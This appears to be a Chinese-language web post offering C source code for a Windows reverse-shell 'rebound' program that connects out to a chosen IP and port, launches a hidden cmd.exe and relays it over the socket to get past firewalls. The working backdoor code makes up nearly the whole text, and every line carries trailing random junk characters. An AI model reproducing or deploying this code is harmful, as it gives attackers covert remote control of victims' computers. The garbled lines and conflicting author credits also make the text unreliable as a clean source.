这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o}r!qL0c
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/* ============================== HzgQI
Rebound port in Windows NT ?vL^:f["
By wind,2006/7 \pBYWf
===============================*/ @@&@}IQcR1
#include /jK17}j
#include it/C y\f
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#pragma comment(lib,"wsock32.lib") nkr,
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void OutputShell(); kcma/d
SOCKET sClient; >ji}j~cH
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]`CKQ>
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void main(int argc,char **argv) )+Y\NO?O
{ gOES2
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WSADATA stWsaData; g# 9*bF
int nRet; ?=|)n%
SOCKADDR_IN stSaiClient,stSaiServer; fxtYo,;$
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if(argc != 3) K_<lO,[S
{ Bcd0
printf("Useage:\n\rRebound DestIP DestPort\n"); >gS5[`xRE
return; VQG /g\
} q6m87O9
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~NxoF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -67f33
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stSaiClient.sin_family = AF_INET; ^c[CyZ:a
stSaiClient.sin_port = htons(0); =w;xaxjL
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;|2;kvf"w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u1pYlu9IW
{ s6eq?1l3
printf("Bind Socket Failed!\n"); CpP$HrQ
return; zYgK$u^H
} 4o)\DB?!
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stSaiServer.sin_family = AF_INET; A]~i uUHm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8en#PH }
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); no\}aTx
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #Ko+_Hm?4
{ ui#1 +p3G
printf("Connect Error!"); /="D]K)%b8
return; ^JF_;~C
} At^DY!3vx
OutputShell(); Y"]e H{
} [y&h_w.
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void OutputShell() 5sV/N] !
{ (>Q9jNW
char szBuff[1024]; 6Kv}2M')+
SECURITY_ATTRIBUTES stSecurityAttributes; Q+%m+ /Zq
OSVERSIONINFO stOsversionInfo; oRJP5Y5na
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PUFW^"LV
STARTUPINFO stStartupInfo; U~zN*2-
char *szShell; ekk&TTp#
PROCESS_INFORMATION stProcessInformation; ZC\.};.
unsigned long lBytesRead; hz~CW-47
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S;AnpiBM8
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7yCx !P;
stSecurityAttributes.lpSecurityDescriptor = 0; kvO`]>#;$?
stSecurityAttributes.bInheritHandle = TRUE; %N_S/V0`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +EB,7<5<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1-Wnc'(OK
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EA@$^e[
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GzZ|T7fm
stStartupInfo.wShowWindow = SW_HIDE; m*Lv,yw %a
stStartupInfo.hStdInput = hReadPipe; `))J8j"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; KlX |PQ
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GetVersionEx(&stOsversionInfo); I>4Tbwy.-
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switch(stOsversionInfo.dwPlatformId) ]2sZu7
{ HEfA c
case 1: {HJ`%xN|
szShell = "command.com"; 3b[[2x_UU
break; '8pPGh9D
default: <n2{+eO
szShell = "cmd.exe"; ThqfZl=V
break; a!J ow?(
} L4A/7Ep
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /dvnQW4}8
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send(sClient,szMsg,77,0); 6_}){ZR
while(1) _R<V8g1f
{ uc (yos
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \S@=zII_
if(lBytesRead) )+{omQ7v
{ ujp,D#xHP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eq 1 4
send(sClient,szBuff,lBytesRead,0); NVh>Q>B$_
} 2,QApW_Y
else 'N,NG$G2
{ 6Oqnb+
lBytesRead=recv(sClient,szBuff,1024,0); D30Z9_^%:
if(lBytesRead<=0) break; %m\G'hY2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LVcy.kU@]
} 9C'+~<l
} r
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return; cW|Zgz8vv
}